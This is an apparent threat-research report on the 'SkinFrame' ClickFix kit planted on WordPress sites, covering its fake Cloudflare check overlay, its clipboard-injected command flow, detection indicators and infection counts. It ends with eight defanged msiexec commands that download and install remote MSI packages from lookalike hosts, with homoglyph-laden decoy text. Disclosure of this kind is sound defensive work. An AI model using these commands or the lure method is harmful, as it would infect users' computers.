SkinFrame ClickFix kit

Hide the page, then cover it

SkinFrame starts by hiding the site. The injected block adds a style called cf-captcha-hide-style and a cf-captcha-pending class, then loads the kit's embed.js from a short list of controller hosts, such as js-static[.]cfd, with Base64 and plain-text copies of the list as fallbacks. The block is built to survive optimisation: when LiteSpeed minifies and defers scripts, it moves itself into a Base64 data: URI and still runs. One build labels itself "v24".

One overlay, four skins

embed.js arrives with a configuration the server writes for each visit, and that configuration picks a design: a fake Cloudflare check, a reCAPTCHA, a QR code or an Android page. In practice only Windows is switched on.

The lure sits in a full-screen frame, #cf-captcha-overlay, over the hidden page. It is a Cloudflare checkbox. After the click it tells the visitor to press Win+R, then Ctrl+V, then Enter, in the visitor's language. The page, its core script and embed.js are all obfuscated, and the core script is large.

Where the command comes from

The command comes from the controller. The core script asks the controller's /api/s/boot route for it, though not on every visit: one capture loaded the core script and never asked, while a later one received the command 3.8 seconds into the visit, before any click. The script passes it up to the site's page as a cf_clipboard message, and embed.js copies it to the clipboard. Every step reports back: routes such as /api/s/steps and /api/s/ok, and events named verify_click, verify_enter and mshta_detected.

The recovered commands use different Windows tools. One reply was a plain mshta call to a remote address. Another was an msiexec /package call with mixed-case letters, pointing at a host spelled to look like a Cloudflare domain, with an MSI property holding fake text that tells the visitor to press Enter to verify. Commands captured on 10 November 2026 fetch the package from www.restapi-web-cf[.]cfd through a mixed http:/\ prefix, which Windows accepts as a URL:

msiexec /package http:/\www.restapi-web-cf[.]cfd\[id] /Q

What we see

Month	New sites
September	241
October	717
November so far	232

98% of the sites captured since 25 September run WordPress, and 55% of those run WordPress 7.1.

Researchers and abuse reports file this activity under ClearFake and IClickFix.

Checking a site

View the page source, or the rendered page in developer tools, and look for:

• a style or class named cf-captcha-hide-style or cf-captcha-pending
• a script loading embed.js from a host you do not recognise
• an element with the id cf-captcha-overlay
• a data: URI script that decodes to the same block

A site that loads blank for a moment before a Cloudflare check appears is worth a closer look.

msieXeC.exe /i hxxp:\\cf-www[.]com\k3kwfghbu2fro1 /Q S1="Dеviсе Sеtuр Ноst 10.0.19041 rеаdy                                      То  vеrify  рush  thе  ЕNTЕR  kеy             "

msIeXeC.exe /package hxxp:/\www[.]cf-web-restapi[.]cfd\1apsivec1id1z0 /Q S1=" "

MSIEXEC.exe /i hxxp:\\api-cf[.]com/3deayr8287fpti /qn S1="Ноst Рrосеss fоr Windоws Sеrviсеs 10.0.19041                            То  vеrify  рush  thе  ЕNTЕR  kеy             "

msiexeC.exe /i hxxps:/\api-v1[.]cfd\xdgh2uj11w7h1w /QN S1="с​асhе id​lе                                                       Т​о  vеr​if​y  рu​sh  th​е  ЕNT​ЕR  kе​y             "

MSiExec.exe /i hxxps:/\CF-com[.]sbs\tiokzv947cnsk9 /QN S1="Рrосеs5  о3  М5dulе  Nеt0оrk                                  𝚃​𝚘  𝚟​𝚎𝚛𝚒𝚏𝚢  𝚙𝚞​𝚜𝚑  𝚝​𝚑𝚎  𝙴​𝙽𝚃𝙴𝚁  𝚔​𝚎𝚢          "

MsiExeC.exe /i hxxps:/\API-com[.]cfd\ke4uphjqliyeiw /QN S1="Моnit0r  I7stаllеr  Аg8nt  Н1st                               𝗧​𝗼  𝘃𝗲𝗿𝗶​𝗳𝘆  𝗽​𝘂𝘀𝗵  𝘁𝗵​𝗲  𝗘​𝗡𝗧𝗘𝗥  𝗸𝗲​𝘆          "

mSiexEC.exe /package hxxp:/\www[.]restapi-web-cf[.]cfd\u6ot13hw7pu43d /Q S1=" "

msiEXeC.exe /i hxxps:/\lD-com[.]cfd\dbaz51zl1e3fse /QN S1="4есurity  са1hе  Вrоkе7  S5rrоgаtе                            𝚃​𝚘  𝚟𝚎𝚛𝚒​𝚏𝚢  𝚙​𝚞𝚜𝚑  𝚝𝚑​𝚎  𝙴𝙽𝚃​𝙴𝚁  𝚔​𝚎𝚢          "